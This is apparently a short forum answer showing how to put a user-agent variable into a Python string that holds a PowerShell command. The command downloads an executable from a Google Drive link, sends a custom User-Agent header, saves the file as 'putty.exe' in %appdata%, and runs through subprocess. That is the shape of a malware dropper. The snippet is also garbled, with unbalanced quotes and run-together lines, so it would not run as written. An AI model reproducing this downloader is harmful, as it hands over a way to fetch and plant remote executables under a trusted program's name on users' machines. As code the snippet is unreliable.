replace:
powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"with:
mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString)then command is:
def downloadfile(): mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString) down = subprocess.call(mycommand) time.sleep(20) downloadfile()